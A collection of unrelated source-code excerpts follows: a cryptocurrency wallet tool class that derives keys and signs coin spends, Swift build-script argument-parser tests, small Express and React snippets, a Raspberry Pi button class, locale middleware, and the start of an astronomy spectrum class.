def __init__(self, sk: Optional[PrivateKey] = None):
self.current_balance = 0
self.my_utxos: set = set()
if sk is not None:
self.private_key = sk
else:
self.private_key = AugSchemeMPL.key_gen(DEFAULT_SEED)
self.generator_lookups: Dict = {}
self.puzzle_pk_cache: Dict = {}
self.get_new_puzzle()
def get_next_address_index(self) -> uint32:
self.next_address = uint32(self.next_address + 1)
return self.next_address
def get_private_key_for_puzzle_hash(self, puzzle_hash) -> PrivateKey:
if puzzle_hash in self.puzzle_pk_cache:
child = self.puzzle_pk_cache[puzzle_hash]
private = master_sk_to_wallet_sk(self.private_key, uint32(child))
# pubkey = private.get_g1()
return private
else:
for child in range(self.next_address):
pubkey = master_sk_to_wallet_sk(
self.private_key, uint32(child)
).get_g1()
if puzzle_hash == puzzle_for_pk(bytes(pubkey)).get_tree_hash():
return master_sk_to_wallet_sk(self.private_key, uint32(child))
raise ValueError(f"Do not have the keys for puzzle hash {puzzle_hash}")
def puzzle_for_pk(self, pubkey: bytes) -> Program:
return puzzle_for_pk(pubkey)
def get_new_puzzle(self) -> bytes32:
next_address_index: uint32 = self.get_next_address_index()
pubkey = master_sk_to_wallet_sk(self.private_key, next_address_index).get_g1()
self.pubkey_num_lookup[bytes(pubkey)] = next_address_index
puzzle = puzzle_for_pk(bytes(pubkey))
self.puzzle_pk_cache[puzzle.get_tree_hash()] = next_address_index
return puzzle
def get_new_puzzlehash(self) -> bytes32:
puzzle = self.get_new_puzzle()
return puzzle.get_tree_hash()
def sign(self, value, pubkey) -> G2Element:
privatekey: PrivateKey = master_sk_to_wallet_sk(
self.private_key, self.pubkey_num_lookup[pubkey]
)
return AugSchemeMPL.sign(privatekey, value)
def make_solution(
self, condition_dic: Dict[ConditionOpcode, List[ConditionVarPair]]
) -> Program:
ret = []
for con_list in condition_dic.values():
for cvp in con_list:
if cvp.opcode == ConditionOpcode.CREATE_COIN:
ret.append(make_create_coin_condition(cvp.var1, cvp.var2))
if cvp.opcode == ConditionOpcode.AGG_SIG:
ret.append(make_assert_aggsig_condition(cvp.var1))
if cvp.opcode == ConditionOpcode.ASSERT_COIN_CONSUMED:
ret.append(make_assert_coin_consumed_condition(cvp.var1))
if cvp.opcode == ConditionOpcode.ASSERT_TIME_EXCEEDS:
ret.append(make_assert_time_exceeds_condition(cvp.var1))
if cvp.opcode == ConditionOpcode.ASSERT_MY_COIN_ID:
ret.append(make_assert_my_coin_id_condition(cvp.var1))
if cvp.opcode == ConditionOpcode.ASSERT_BLOCK_INDEX_EXCEEDS:
ret.append(make_assert_block_index_exceeds_condition(cvp.var1))
if cvp.opcode == ConditionOpcode.ASSERT_BLOCK_AGE_EXCEEDS:
ret.append(make_assert_block_age_exceeds_condition(cvp.var1))
if cvp.opcode == ConditionOpcode.ASSERT_FEE:
ret.append(make_assert_fee_condition(cvp.var1))
return solution_for_conditions(ret)
def generate_unsigned_transaction(
self,
amount: uint64,
newpuzzlehash: bytes32,
coin: Coin,
condition_dic: Dict[ConditionOpcode, List[ConditionVarPair]],
fee: int = 0,
secretkey=None,
) -> List[CoinSolution]:
spends = []
spend_value = coin.amount
puzzle_hash = coin.puzzle_hash
if secretkey is None:
secretkey = self.get_private_key_for_puzzle_hash(puzzle_hash)
pubkey = secretkey.get_g1()
puzzle = puzzle_for_pk(bytes(pubkey))
if ConditionOpcode.CREATE_COIN not in condition_dic:
condition_dic[ConditionOpcode.CREATE_COIN] = []
output = ConditionVarPair(
ConditionOpcode.CREATE_COIN, newpuzzlehash, int_to_bytes(amount)
)
condition_dic[output.opcode].append(output)
amount_total = sum(
int_from_bytes(cvp.var2)
for cvp in condition_dic[ConditionOpcode.CREATE_COIN]
)
change = spend_value - amount_total - fee
if change > 0:
changepuzzlehash = self.get_new_puzzlehash()
change_output = ConditionVarPair(
ConditionOpcode.CREATE_COIN, changepuzzlehash, int_to_bytes(change)
)
condition_dic[output.opcode].append(change_output)
solution = self.make_solution(condition_dic)
else:
solution = self.make_solution(condition_dic)
puzzle_solution_pair = Program.to([puzzle, solution])
spends.append(CoinSolution(coin, puzzle_solution_pair))
return spends
def sign_transaction(self, coin_solutions: List[CoinSolution]) -> SpendBundle:
sigs = []
solution: Program
puzzle: Program
for coin_solution in coin_solutions: # type: ignore # noqa
secretkey = self.get_private_key_for_puzzle_hash(
coin_solution.coin.puzzle_hash
)
err, con, cost = conditions_for_solution(coin_solution.solution)
if not con:
raise ValueError(err)
conditions_dict = conditions_by_opcode(con)
for _, msg in pkm_pairs_for_conditions_dict(
conditions_dict, bytes(coin_solution.coin)
):
signature = AugSchemeMPL.sign(secretkey, msg)
sigs.append(signature)
aggsig = AugSchemeMPL.aggregate(sigs)
spend_bundle = SpendBundle(coin_solutions, aggsig)
return spend_bundle
def generate_signed_transaction(
self,
amount,
newpuzzlehash,
coin: Coin,
condition_dic: Dict[ConditionOpcode, List[ConditionVarPair]] = None,
fee: int = 0,
) -> SpendBundle:
if condition_dic is None:
condition_dic = {}
transaction = self.generate_unsigned_transaction(
amount, newpuzzlehash, coin, condition_dic, fee
)
assert transaction is not None
return self.sign_transaction(transaction)
|
# This source file is part of the Swift.org open source project
#
# Copyright (c) 2014 - 2020 Apple Inc. and the Swift project authors
# Licensed under Apache License v2.0 with Runtime Library Exception
#
# See https://swift.org/LICENSE.txt for license information
# See https://swift.org/CONTRIBUTORS.txt for the list of Swift project authors
import os
import platform
import sys
import unittest
from contextlib import contextmanager
from io import StringIO
from swift_build_support.swift_build_support import migration
from swift_build_support.swift_build_support.SwiftBuildSupport import (
get_all_preset_names, get_preset_options)
from . import expected_options as eo
from ..build_swift import argparse
from ..build_swift import driver_arguments
FILE_PATH = os.path.abspath(__file__)
TESTS_PATH = os.path.abspath(os.path.join(FILE_PATH, os.pardir))
BUILD_SWIFT_PATH = os.path.abspath(os.path.join(TESTS_PATH, os.pardir))
UTILS_PATH = os.path.abspath(os.path.join(BUILD_SWIFT_PATH, os.pardir))
BUILD_SCRIPT_IMPL = os.path.join(UTILS_PATH, 'build-script-impl')
PRESETS_FILES = [
os.path.join(UTILS_PATH, 'build-presets.ini'),
]
class ParserError(Exception):
pass
@contextmanager
def redirect_stderr(stream=None):
stream = stream or StringIO()
old_stderr, sys.stderr = sys.stderr, stream
try:
yield stream
finally:
sys.stderr = old_stderr
@contextmanager
def redirect_stdout(stream=None):
stream = stream or StringIO()
old_stdout, sys.stdout = sys.stdout, stream
try:
yield stream
finally:
sys.stdout = old_stdout
def _load_all_presets(presets_files):
preset_names = get_all_preset_names(presets_files)
# Hack to filter out mixins which are not expected to be valid presets
preset_names = [n for n in preset_names if not n.startswith('mixin')]
substitutions = {
'install_destdir': '/tmp/install',
'install_symroot': '/tmp/symroot',
'installable_package': '/tmp/xcode-xyz-root.tar.gz',
}
presets = dict()
for name in preset_names:
try:
# Attempt to parse preset
presets[name] = get_preset_options(substitutions,
presets_files, name)
except SystemExit:
continue
return presets
class TestDriverArgumentParserMeta(type):
"""Metaclass used to dynamically generate test methods for each of the
individual options accepted by the parser and methods to validate all of
the presets.
"""
def __new__(cls, name, bases, attrs):
# Generate tests for each default value
for dest, value in eo.EXPECTED_DEFAULTS.items():
test_name = 'test_default_value_' + dest
attrs[test_name] = cls.generate_default_value_test(dest, value)
# Generate tests for each expected option
for option in eo.EXPECTED_OPTIONS:
test_name = 'test_option_' + option.sanitized_string()
attrs[test_name] = cls.generate_option_test(option)
# Generate tests for each preset
presets = _load_all_presets(PRESETS_FILES)
for name, args in presets.items():
test_name = 'test_preset_' + name
attrs[test_name] = cls.generate_preset_test(name, args)
return super(TestDriverArgumentParserMeta, cls).__new__(
cls, name, bases, attrs)
@classmethod
def generate_default_value_test(cls, dest, default_value):
def test(self):
with self.assertNotRaises(ParserError):
parsed_values = self.parse_default_args([])
parsed_value = getattr(parsed_values, dest)
if default_value.__class__ is str:
parsed_value = str(parsed_value)
self.assertEqual(default_value, parsed_value,
'Invalid default value for "{}": {} != {}'
.format(dest, default_value, parsed_value))
return test
@classmethod
def _generate_help_option_test(cls, option):
def test(self):
with redirect_stdout() as output, self.assertRaises(ParserError):
self.parse_args([option.option_string])
self.assertNotEmpty(output)
return test
@classmethod
def _generate_set_option_test(cls, option):
def test(self):
with self.assertNotRaises(ParserError):
namespace = self.parse_args([option.option_string])
self.assertEqual(getattr(namespace, option.dest), option.value)
with self.assertRaises(ParserError):
self.parse_args([option.option_string, 'foo'])
return test
@classmethod
def _generate_set_true_option_test(cls, option):
def test(self):
with self.assertNotRaises(ParserError):
# TODO: Move to unit-tests for the action class
namespace = self.parse_args([])
self.assertFalse(getattr(namespace, option.dest))
namespace = self.parse_args([option.option_string])
self.assertTrue(getattr(namespace, option.dest))
return test
@classmethod
def _generate_set_false_option_test(cls, option):
def test(self):
with self.assertNotRaises(ParserError):
# TODO: Move to unit-tests for the action class
namespace = self.parse_args([])
self.assertTrue(getattr(namespace, option.dest))
namespace = self.parse_args([option.option_string])
self.assertFalse(getattr(namespace, option.dest))
return test
@classmethod
def _generate_enable_option_test(cls, option):
def test(self):
with self.assertNotRaises(ParserError):
# TODO: Move to unit-tests for the action class
# Test parsing True values
self.parse_args([option.option_string, '1'])
self.parse_args([option.option_string, 'true'])
self.parse_args([option.option_string, 'True'])
self.parse_args([option.option_string, 'TRUE'])
# TODO: Move to unit-tests for the action class
# Test parsing False values
self.parse_args([option.option_string, '0'])
self.parse_args([option.option_string, 'false'])
self.parse_args([option.option_string, 'False'])
self.parse_args([option.option_string, 'FALSE'])
# TODO: Move to unit-tests for the action class
# Test default value
namespace = self.parse_args([option.option_string])
self.assertTrue(getattr(namespace, option.dest))
# Test setting value to True
namespace = self.parse_args([option.option_string, 'True'])
self.assertTrue(getattr(namespace, option.dest))
# Test setting value to False
namespace = self.parse_args([option.option_string, 'False'])
self.assertFalse(getattr(namespace, option.dest))
return test
@classmethod
def _generate_disable_option_test(cls, option):
def test(self):
with self.assertNotRaises(ParserError):
# TODO: Move to unit-tests for the action class
# Test parsing True values
self.parse_args([option.option_string, '1'])
self.parse_args([option.option_string, 'true'])
self.parse_args([option.option_string, 'True'])
self.parse_args([option.option_string, 'TRUE'])
# TODO: Move to unit-tests for the action class
# Test parsing False values
self.parse_args([option.option_string, '0'])
self.parse_args([option.option_string, 'false'])
self.parse_args([option.option_string, 'False'])
self.parse_args([option.option_string, 'FALSE'])
# TODO: Move to unit-tests for the action class
# Test default value
namespace = self.parse_args([option.option_string])
self.assertFalse(getattr(namespace, option.dest))
# Test setting value to True resulting in False
namespace = self.parse_args([option.option_string, 'True'])
self.assertFalse(getattr(namespace, option.dest))
# Test setting value to False resulting in True
namespace = self.parse_args([option.option_string, 'False'])
self.assertTrue(getattr(namespace, option.dest))
return test
@classmethod
def _generate_choices_option_test(cls, option):
def test(self):
with self.assertNotRaises(ParserError):
for choice in option.choices:
namespace = self.parse_args(
[option.option_string, str(choice)])
self.assertEqual(getattr(namespace, option.dest), choice)
with self.assertRaises(ParserError):
self.parse_args([option.option_string, 'INVALID'])
return test
@classmethod
def _generate_int_option_test(cls, option):
def test(self):
with self.assertNotRaises(ParserError):
for i in [0, 1, 42]:
namespace = self.parse_args([option.option_string, str(i)])
self.assertEqual(int(getattr(namespace, option.dest)), i)
# FIXME: int-type options should not accept non-int strings
# with self.assertRaises(ParserError):
# self.parse_args([option.option_string, str(0.0)])
# self.parse_args([option.option_string, str(1.0)])
# self.parse_args([option.option_string, str(3.14)])
# self.parse_args([option.option_string, 'NaN'])
return test
@classmethod
def _generate_str_option_test(cls, option):
def test(self):
with self.assertNotRaises(ParserError):
self.parse_args([option.option_string, 'foo'])
return test
@classmethod
def _generate_path_option_test(cls, option):
def test(self):
with self.assertNotRaises(ParserError):
self.parse_args([option.option_string, sys.executable])
# FIXME: path-type options should not accept non-path inputs
# with self.assertRaises(ParserError):
# self.parse_args([option.option_string, 'foo'])
return test
@classmethod
def _generate_append_option_test(cls, option):
def test(self):
with self.assertNotRaises(ParserError):
# Range size is arbitrary, just needs to be more than once
for i in range(1, 4):
namespace = self.parse_args(
[option.option_string, 'ARG'] * i)
self.assertEqual(getattr(namespace, option.dest),
['ARG'] * i)
return test
@classmethod
def _generate_unsupported_option_test(cls, option):
def test(self):
with self.assertRaises(ParserError):
self.parse_args([option.option_string])
return test
@classmethod
def _generate_build_script_impl_option_test(cls, option):
def test(self):
with self.assertNotRaises(ParserError):
namespace, unknown_args = self.parse_args_and_unknown_args([])
self.assertFalse(hasattr(namespace, option.dest))
self.assertEqual(unknown_args, [])
namespace, unknown_args = self.parse_args_and_unknown_args(
[option.option_string])
# The argument should never show up in the namespace
self.assertFalse(hasattr(namespace, option.dest))
# It should instead be forwareded to unkown_args
self.assertEqual(unknown_args, [option.option_string])
return test
@classmethod
def generate_option_test(cls, option):
generate_test_funcs = {
eo.HelpOption: cls._generate_help_option_test,
eo.SetOption: cls._generate_set_option_test,
eo.SetTrueOption: cls._generate_set_true_option_test,
eo.SetFalseOption: cls._generate_set_false_option_test,
eo.EnableOption: cls._generate_enable_option_test,
eo.DisableOption: cls._generate_disable_option_test,
eo.ChoicesOption: cls._generate_choices_option_test,
eo.IntOption: cls._generate_int_option_test,
eo.StrOption: cls._generate_str_option_test,
eo.PathOption: cls._generate_path_option_test,
eo.AppendOption: cls._generate_append_option_test,
eo.UnsupportedOption: cls._generate_unsupported_option_test,
eo.BuildScriptImplOption:
cls._generate_build_script_impl_option_test,
# IgnoreOptions should be manually tested
eo.IgnoreOption: lambda self: None,
}
test_func = generate_test_funcs.get(option.__class__, None)
if test_func is not None:
return test_func(option)
# Catch-all meaningless test
return lambda self: \
self.fail('unexpected option "{}"'.format(option.option_string))
@classmethod
def generate_preset_test(cls, preset_name, preset_args):
def test(self):
try:
# Windows cannot run build-script-impl to check the impl args.
is_windows = platform.system() == 'Windows'
self.parse_default_args(preset_args,
check_impl_args=not is_windows)
except ParserError as e:
self.fail('failed to parse preset "{}": {}'.format(
preset_name, e))
return test
class TestDriverArgumentParser(unittest.TestCase):
__metaclass__ = TestDriverArgumentParserMeta
@contextmanager
def _quiet_output(self):
with open(os.devnull, 'w') as devnull:
with redirect_stderr(devnull), redirect_stdout(devnull):
yield
def _parse_args(self, args):
try:
return migration.parse_args(self.parser, args)
except (SystemExit, ValueError) as e:
raise ParserError('failed to parse arguments: ' +
str(args), e)
def _check_impl_args(self, namespace):
assert hasattr(namespace, 'build_script_impl_args')
try:
migration.check_impl_args(BUILD_SCRIPT_IMPL,
namespace.build_script_impl_args)
except (SystemExit, ValueError) as e:
raise ParserError('failed to parse impl arguments: ' +
str(namespace.build_script_impl_args), e)
def parse_args_and_unknown_args(self, args, namespace=None):
if namespace is None:
namespace = argparse.Namespace()
with self._quiet_output():
try:
namespace, unknown_args =\
super(self.parser.__class__, self.parser)\
.parse_known_args(args, namespace)
namespace, unknown_args =\
migration.process_disambiguation_arguments(namespace,
unknown_args)
except (SystemExit, argparse.ArgumentError) as e:
raise ParserError('failed to parse arguments: ' + str(args), e)
return namespace, unknown_args
def parse_args(self, args, namespace=None):
namespace, unknown_args = self.parse_args_and_unknown_args(args,
namespace)
if unknown_args:
raise ParserError('unknown arguments: ' + str(unknown_args))
return namespace
def parse_default_args(self, args, check_impl_args=False):
with self._quiet_output():
namespace = self._parse_args(args)
if check_impl_args:
self._check_impl_args(namespace)
return namespace
@contextmanager
def assertNotRaises(self, exception):
assert issubclass(exception, BaseException)
try:
yield
except exception as e:
self.fail(str(e))
def setUp(self):
self.parser = driver_arguments.create_argument_parser()
# -------------------------------------------------------------------------
def test_expected_options_exhaustive(self):
"""Test that we are exhaustively testing all options accepted by the
parser. If this test if failing then the parser accepts more options
than currently being tested, meaning the EXPECTED_OPTIONS list in
build_swift/tests/expected_options.py should be updated to include
the missing options.
"""
expected_options = {o.option_string for o in eo.EXPECTED_OPTIONS}
# aggregate and flatten the options_strings accepted by the parser
actual_options = [a.option_strings for a in self.parser._actions]
actual_options = set(sum(actual_options, []))
diff = actual_options - expected_options
if len(diff) > 0:
self.fail('non-exhaustive expected options, missing: {}'
.format(diff))
def test_expected_options_have_default_values(self):
"""Test that all the options in EXPECTED_OPTIONS have an associated
default value.
"""
skip_option_classes = [
eo.HelpOption,
eo.IgnoreOption,
eo.UnsupportedOption,
eo.BuildScriptImplOption,
]
missing_defaults = set()
for option in eo.EXPECTED_OPTIONS:
if option.__class__ in skip_option_classes:
continue
if option.dest not in eo.EXPECTED_DEFAULTS:
missing_defaults.add(option.dest)
if len(missing_defaults) > 0:
self.fail('non-exhaustive default values for options, missing: {}'
.format(missing_defaults))
# -------------------------------------------------------------------------
# Manual option tests
def test_option_clang_compiler_version(self):
option_string = '--clang-compiler-version'
with self.assertNotRaises(ParserError):
self.parse_default_args([option_string, '5.0.0'])
self.parse_default_args([option_string, '5.0.1'])
self.parse_default_args([option_string, '5.0.0.1'])
with self.assertRaises(ParserError):
self.parse_default_args([option_string, '1'])
self.parse_default_args([option_string, '1.2'])
self.parse_default_args([option_string, '0.0.0.0.1'])
def test_option_clang_user_visible_version(self):
option_string = '--clang-user-visible-version'
with self.assertNotRaises(ParserError):
self.parse_default_args([option_string, '5.0.0'])
self.parse_default_args([option_string, '5.0.1'])
self.parse_default_args([option_string, '5.0.0.1'])
with self.assertRaises(ParserError):
self.parse_default_args([option_string, '1'])
self.parse_default_args([option_string, '1.2'])
self.parse_default_args([option_string, '0.0.0.0.1'])
def test_option_swift_compiler_version(self):
option_string = '--swift-compiler-version'
with self.assertNotRaises(ParserError):
self.parse_default_args([option_string, '4.1'])
self.parse_default_args([option_string, '4.0.1'])
self.parse_default_args([option_string, '200.99.1'])
with self.assertRaises(ParserError):
self.parse_default_args([option_string, '1'])
self.parse_default_args([option_string, '0.0.0.1'])
def test_option_swift_user_visible_version(self):
option_string = '--swift-user-visible-version'
with self.assertNotRaises(ParserError):
self.parse_default_args([option_string, '4.1'])
self.parse_default_args([option_string, '4.0.1'])
self.parse_default_args([option_string, '200.99.1'])
with self.assertRaises(ParserError):
self.parse_default_args([option_string, '1'])
self.parse_default_args([option_string, '0.0.0.1'])
def test_option_I(self):
with self.assertRaises(ValueError):
self.parse_default_args(['-I'])
def test_option_ios_all(self):
with self.assertRaises(ValueError):
self.parse_default_args(['--ios-all'])
def test_option_tvos_all(self):
with self.assertRaises(ValueError):
self.parse_default_args(['--tvos-all'])
def test_option_watchos_all(self):
with self.assertRaises(ValueError):
self.parse_default_args(['--watchos-all'])
# -------------------------------------------------------------------------
# Implied defaults tests
def test_implied_defaults_assertions(self):
with self.assertNotRaises(ParserError):
namespace = self.parse_default_args(['--assertions'])
self.assertTrue(namespace.cmark_assertions)
self.assertTrue(namespace.llvm_assertions)
self.assertTrue(namespace.swift_assertions)
self.assertTrue(namespace.swift_stdlib_assertions)
def test_implied_defaults_cmark_build_variant(self):
with self.assertNotRaises(ParserError):
namespace = self.parse_default_args(['--debug-cmark'])
self.assertTrue(namespace.build_cmark)
def test_implied_defaults_lldb_build_variant(self):
with self.assertNotRaises(ParserError):
namespace = self.parse_default_args(['--debug-lldb'])
self.assertTrue(namespace.build_lldb)
with self.assertNotRaises(ParserError):
namespace = self.parse_default_args(['--lldb-assertions'])
self.assertTrue(namespace.build_lldb)
def test_implied_defaults_build_variant(self):
with self.assertNotRaises(ParserError):
namespace = self.parse_default_args(['--debug'])
self.assertEqual(namespace.cmark_build_variant, 'Debug')
self.assertEqual(namespace.foundation_build_variant, 'Debug')
self.assertEqual(namespace.libdispatch_build_variant, 'Debug')
self.assertEqual(namespace.libicu_build_variant, 'Debug')
self.assertEqual(namespace.lldb_build_variant, 'Debug')
self.assertEqual(namespace.llvm_build_variant, 'Debug')
self.assertEqual(namespace.swift_build_variant, 'Debug')
self.assertEqual(namespace.swift_stdlib_build_variant, 'Debug')
def test_implied_defaults_skip_build(self):
with self.assertNotRaises(ParserError):
namespace = self.parse_default_args(['--skip-build'])
self.assertFalse(namespace.build_benchmarks)
self.assertFalse(namespace.build_linux)
self.assertFalse(namespace.build_android)
self.assertFalse(namespace.build_freebsd)
self.assertFalse(namespace.build_cygwin)
self.assertFalse(namespace.build_osx)
self.assertFalse(namespace.build_ios)
self.assertFalse(namespace.build_tvos)
self.assertFalse(namespace.build_watchos)
self.assertFalse(namespace.build_foundation)
self.assertFalse(namespace.build_libdispatch)
self.assertFalse(namespace.build_libicu)
self.assertFalse(namespace.build_lldb)
self.assertFalse(namespace.build_llbuild)
self.assertFalse(namespace.build_libcxx)
self.assertFalse(namespace.build_playgroundsupport)
self.assertFalse(namespace.build_swiftpm)
self.assertFalse(namespace.build_xctest)
def test_implied_defaults_skip_build_ios(self):
with self.assertNotRaises(ParserError):
namespace = self.parse_default_args(['--skip-build-ios'])
self.assertFalse(namespace.build_ios_device)
self.assertFalse(namespace.build_ios_simulator)
# Also implies that the tests should be skipped
self.assertFalse(namespace.test_ios_host)
self.assertFalse(namespace.test_ios_simulator)
def test_implied_defaults_skip_build_tvos(self):
with self.assertNotRaises(ParserError):
namespace = self.parse_default_args(['--skip-build-tvos'])
self.assertFalse(namespace.build_tvos_device)
self.assertFalse(namespace.build_tvos_simulator)
# Also implies that the tests should be skipped
self.assertFalse(namespace.test_tvos_host)
self.assertFalse(namespace.test_tvos_simulator)
def test_implied_defaults_skip_build_watchos(self):
with self.assertNotRaises(ParserError):
namespace = self.parse_default_args(['--skip-build-watchos'])
self.assertFalse(namespace.build_watchos_device)
self.assertFalse(namespace.build_watchos_simulator)
# Also implies that the tests should be skipped
self.assertFalse(namespace.test_watchos_host)
self.assertFalse(namespace.test_watchos_simulator)
def test_implied_defaults_validation_test(self):
with self.assertNotRaises(ParserError):
namespace = self.parse_default_args(['--validation-test'])
self.assertTrue(namespace.test)
def test_implied_defaults_test_optimized(self):
with self.assertNotRaises(ParserError):
namespace = self.parse_default_args(['--test-optimized'])
self.assertTrue(namespace.test)
def test_implied_defaults_test_optimize_for_size(self):
with self.assertNotRaises(ParserError):
namespace = self.parse_default_args(['--test-optimize-for-size'])
self.assertTrue(namespace.test)
def test_implied_defaults_test_optimize_none_with_implicit_dynamic(self):
with self.assertNotRaises(ParserError):
namespace = self.parse_default_args(
['--test-optimize-none-with-implicit-dynamic'])
self.assertTrue(namespace.test)
def test_implied_defaults_skip_all_tests(self):
with self.assertNotRaises(ParserError):
namespace = self.parse_default_args([
'--test', '0',
'--validation-test', '0',
'--long-test', '0',
'--stress-test', '0',
])
self.assertFalse(namespace.test_linux)
self.assertFalse(namespace.test_freebsd)
self.assertFalse(namespace.test_cygwin)
self.assertFalse(namespace.test_osx)
self.assertFalse(namespace.test_ios)
self.assertFalse(namespace.test_tvos)
self.assertFalse(namespace.test_watchos)
def test_implied_defaults_skip_test_ios(self):
with self.assertNotRaises(ParserError):
namespace = self.parse_default_args(['--skip-test-ios'])
self.assertFalse(namespace.test_ios_host)
self.assertFalse(namespace.test_ios_simulator)
def test_implied_defaults_skip_test_tvos(self):
with self.assertNotRaises(ParserError):
namespace = self.parse_default_args(['--skip-test-tvos'])
self.assertFalse(namespace.test_tvos_host)
self.assertFalse(namespace.test_tvos_simulator)
def test_implied_defaults_skip_test_watchos(self):
with self.assertNotRaises(ParserError):
namespace = self.parse_default_args(['--skip-test-watchos'])
self.assertFalse(namespace.test_watchos_host)
self.assertFalse(namespace.test_watchos_simulator)
def test_implied_defaults_skip_build_android(self):
with self.assertNotRaises(ParserError):
namespace = self.parse_default_args(['--android', '0'])
self.assertFalse(namespace.test_android_host)
with self.assertNotRaises(ParserError):
namespace = self.parse_default_args(['--skip-build-android'])
self.assertFalse(namespace.test_android_host)
def test_implied_defaults_host_test(self):
with self.assertNotRaises(ParserError):
namespace = self.parse_default_args(['--host-test', '0'])
self.assertFalse(namespace.test_ios_host)
self.assertFalse(namespace.test_tvos_host)
self.assertFalse(namespace.test_watchos_host)
self.assertFalse(namespace.test_android_host)
self.assertFalse(namespace.build_libparser_only)
def test_build_lib_swiftsyntaxparser_only(self):
with self.assertNotRaises(ParserError):
namespace = self.parse_default_args(['--build-libparser-only'])
self.assertTrue(namespace.build_libparser_only)
if __name__ == '__main__':
unittest.main()
|
var express = require("express");
var bodyParser = require("body-parser");
var methodOverride = require("method-override");
var PORT = process.env.PORT || 3000;
var app = express();
|
import React, { Component } from 'react';
import { Button, Modal } from 'semantic-ui-react';
import axios from 'axios';
class ModalConfirmDelete extends Component {
constructor(props) {
super(props);
this.state ={
modalOpen: false
}
this.handleOpen = this.handleOpen.bind(this);
this.handleClose = this.handleClose.bind(this);
this.handleSubmit = this.handleSubmit.bind(this);
}
handleOpen = e => this.setState({ modalOpen: true });
handleClose = e => this.setState({ modalOpen: false });
handleSubmit(e) {
let params = e.target.getAttribute('data-userID');
axios({
method: 'delete',
responseType: 'json',
url: `${this.props.server}/api/users/${params}`,
})
.then((response) => {
this.handleClose();
this.props.onUserDeleted(response.data.result);
this.props.socket.emit('delete', response.data.result);
})
.catch((err) => {
this.handleClose();
throw err;
});
}
render() {
return (
<Modal
trigger={<Button onClick={this.handleOpen} color={this.props.buttonColor}>{this.props.buttonTriggerTitle}</Button>}
open={this.state.modalOpen}
onClose={this.handleClose}
dimmer='inverted'
size='tiny'
>
<Modal.Header>{this.props.headerTitle}</Modal.Header>
<Modal.Content>
<p>Are you sure you want to delete <strong>{this.props.user.name}</strong>?</p>
</Modal.Content>
<Modal.Actions>
<Button onClick={this.handleSubmit} data-userID={this.props.user._id} color='red'>Yes</Button>
<Button onClick={this.handleClose} color='black'>No</Button>
</Modal.Actions>
</Modal>
);
}
}
export default ModalConfirmDelete;
|
import RPi.GPIO as GPIO
class Button:
def __init__(self, pin):
self.pin = pin
GPIO.setmode(GPIO.BCM)
GPIO.setwarnings(False)
GPIO.setup(self.pin, GPIO.IN, pull_up_down=GPIO.PUD_UP)
def status(self):
return GPIO.input(self.pin) # LOW when pressed
def exit(self):
GPIO.cleanup()
|
const { format } = require('util');
// Access a property on an object via string
var getValueFromString = function(path, origin) {
if (origin === void 0 || origin === null) origin = this;
if (typeof path !== 'string') path = '' + path;
var parts = path.split(/\[|\]|\.|'|"/g).reverse(),
name;
while (parts.length) {
name = parts.pop();
if (name) origin = origin[name];
if (origin === undefined) break;
}
return origin;
};
/**
* [new] ExpressGlobalize()
*
* Creates an instance of the library
*/
var ExpressGlobalize = function() {
this.supportedLocales = {};
};
/**
* ExpressGlobalize.getForLocale(locale)
*
* Returns the Globalize instance that corresponds to the passed in locale.
*/
ExpressGlobalize.prototype.getForLocale = function(locale) {
return this.supportedLocales[locale];
};
/**
* ExpressGlobalize.globalizeHandler(localeProperty, defaultLocale)
*
* The express middleware that adds a Globalize instance to the `res.locals.intl`
* property, based on the incoming request's desired locale. To create the middleware,
* you have to pass in a `localeProperty`, which is a string that denotes the (sub-)property
* of the `req` object which contains the locale to be used for the request.
* The `defaultLocale` property is a default locale that is used, if the property does not
* resolve.
*/
ExpressGlobalize.prototype.globalizeHandler = function(localeProperty, defaultLocale) {
var self = this;
return function(req, res, next) {
res.locals.intl = self.supportedLocales[getValueFromString(localeProperty, req) || defaultLocale];
next();
};
};
/**
* ExpressGlobalize.setSupportedLocales(locales[, options])
*
* Configures the object for the given set of locales. The `locales` parameter
* must be an array of either locale strings, or objects that also contain
* default currency codes for the associated locale.
*
* The `options` parameter contains optional settings to configure the behavior
* of the module. The following options are currently supported:
* - `compiledSourceLocation` [string] A format string that points to the location
* of the pre-compiled Globalize locale files generated by `globalize-compiler`.
* The format string should have one occurrence of '%s', which will be
* substituted with the locale identifier, to create the proper path to
* `require()` that file. When specified, this module will only use the
* pre-compiled files. If omitted, the module will use the full CLDR and
* generate the locale specific instances at runtime.
*
* e.g.:
* [ 'en-US', 'fr-FR', 'de-DE' ]
* [ { localeName: 'en-US', currencyCode: 'USD' }, { localeName: 'fr-FR', currencyCode: 'EUR' } ]
*/
ExpressGlobalize.prototype.setSupportedLocales = function(locales, options) {
if (Object.prototype.toString.call(locales) !== '[object Array]' || locales.length < 1) {
throw new TypeError('Supported locales must be an array of at least 1 element.');
}
var self = this;
// Choose the right helper instance
let GlobalizeHelper = (options && typeof options.compiledSourceLocation === 'string') ?
require('./runtime-helper.js') :
require('./helper');
locales.forEach(function(locale) {
var baseLocale, baseCurrency;
// Array of Strings
if (typeof locale === 'string') {
baseLocale = locale;
}
// Array of objects
else {
baseLocale = locale.localeName;
baseCurrency = locale.currencyCode;
}
// Determine which helper to instantiate
if (options && typeof options.compiledSourceLocation === 'string') {
self.supportedLocales[baseLocale] = new GlobalizeHelper(baseLocale, baseCurrency, format(options.compiledSourceLocation, baseLocale));
}
else {
self.supportedLocales[baseLocale] = new GlobalizeHelper(baseLocale, baseCurrency);
}
});
};
module.exports = new ExpressGlobalize();
|
import logging
import astropy.units as u
import numpy as np
from astropy.nddata import NDUncertainty, StdDevUncertainty
from astropy.coordinates import SpectralCoord
from .spectrum1d import Spectrum1D
from astropy.nddata import NDIOMixin
__all__ = ['SpectrumCollection']
log = logging.getLogger(__name__)
class SpectrumCollection(NDIOMixin):
"""
A class to represent a heterogeneous set of spectra that are the same length
but have different spectral axes. Spectra that meet this requirement can be
stored as multidimensional arrays, and thus can have operations performed
on them faster than if they are treated as individual
:class:`~specutils.Spectrum1D` objects.
For multidimensional spectra that all have the *same* spectral axis, use a
:class:`~specutils.Spectrum1D` with dimension greater than 1. For a
collection of spectra that have different shapes, use
:class:`~specutils.SpectrumList`. For more on this topic, see
:ref:`specutils-representation-overview`.
The attributes on this class uses the same names and conventions as
:class:`~specutils.Spectrum1D`, allowing some operations to work the same.
Where this does not work, the user can use standard indexing notation to
access individual :class:`~specutils.Spectrum1D` objects.
Parameters
----------
flux : :class:`astropy.units.Quantity`
